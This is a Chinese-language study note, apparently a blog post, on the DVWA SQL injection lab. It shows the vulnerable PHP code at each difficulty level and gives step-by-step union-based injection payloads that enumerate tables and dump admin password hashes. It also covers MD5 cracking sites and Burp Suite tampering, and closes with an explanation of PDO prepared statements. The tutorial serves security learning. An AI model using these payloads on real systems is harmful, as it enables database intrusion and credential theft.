赞
踩
#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。SQL注入攻击分类:
(1)注入点的不同分类:数字类型的注入、字符串类型的注入
(2)提交方式的不同分类:GET注入、POST注入、COOKIE注入、HTTP注入
(3)获取信息的方式不同分类:基于布尔的盲注、基于时间的盲注、基于报错的注入
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
以看到这里没有进行任何的过滤,只是一个简单的id查询语句,且是用单引号闭合,很显然是字符型。
接下来直接开始注入流程:
1、判断是否存在注入,注入是字符型还是数字型(一般看是否有单引号闭合)
输入1,查看结果返回了id,First name,Surname
输入1 and 1=1和1 and =1=2 如果回显不同,则为数字型。可以看到这里回显的内容中除了输入的id其他内容没变,所以判断不是数字型。
输入
1’and 1 = 1 --和1 ‘and 1 = 2 –
如果回显不同,则为字符型。可以看到一个正常显示,一个查询错误,结果返回为空,所以显然这里为字符型。
2、猜解SQL查询语句中的字段数
输入
1’ order by 1 –
查询成功,说明有第一列,也就有一个字段。
输入
1’ order by 2 –
查询成功,说明有第二列,也就有两个字段。
输入
1’ order by 3 –
查询失败,说明只有两个字段。
也可以通过union select 1,2,3…来猜测字段数:
输入
1’ union select 1,2,3 –
报错
输入
1’ union select 1,2 –
成功
3、确定显示的字段顺序
同样用
1’ union select 1,2 –
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
4、获取当前数据库及版本信息
输入
1’ union select version(), database() –
5、获取数据库中的表
输入
1’ union select 1,group_concat(table_name) from
information_schema.tables where table_schema = database() –
可以看到两个表名
6、获取表中的字段名
输入
1’ union select 1,group_concat(column_name) from
information_schema.columns where table_name = ‘users’ –
7、查看具体的字段值
输入
1’ union select user,password from users –
这里可以看到admin和其password的md5加密值,去网上找个md5解码器解密即可得到密码。https://www.somd5.com/
https://cmd5.com/
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
可以看到这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。
这里采用的绕过措施是用burpsuite抓包,然后按照上面的sql注入流程一步步修改id来重新发包更新数据,直到获取管理员账户和密码。
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
可以看到添加了limit 1 做限制,说明扫出一个结果就不向下扫描了,只输出一个结果。
而且可以看到查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
这里对limit 1 做限制直接采用注释符#、-- 过滤掉,然后依旧按照low上面的注入步骤获取管理员账户和密码。
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
可见该段代码使用了PDO技术,将输入与代码分隔开,这样便完全断隔了sql注入攻击。
PDO技术:
1、在SQL语句实例化对象之后,对请求mysql的sql语句做预处理。在这里,我们使用了占位符的方式,将该sql传入prepare函数后,预处理函数就会得到本次查询语句的sql模板类,并将这个模板类返回,模板可以防止传那些有猫腻的变量改变本身查询语句的语义。
2、对sql模板绑定参数,可以使用两种方法,bindValue和bindParam,通过代码能看出区别,bindValue是传入值,bindParam是传入变量。其中两个函数中的第一个参数“数字”代表为占位符中的第几个参数。
3、execute( )执行预准备语句,fetchAll( )返回包含所有结果集行的数组。
在php5.3.6之后,PDO不会在本地对sql进行拼接然后将拼接后的sql传递给mysql server处理(也就是不会在本地做转义处理)。PDO的处理方法是在prepare函数调用时,将预处理好的sql模板(包含占位符)通过mysql协议传递给mysql server,告诉mysql server模板的结构以及语义。当调用execute时,将两个参数传递给mysql server。由mysql server完成变量的转移处理。将sql模板和变量分两次传递,即解决了sql注入问题。
又是朴实无华的一天!!!!!!!!!!!!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。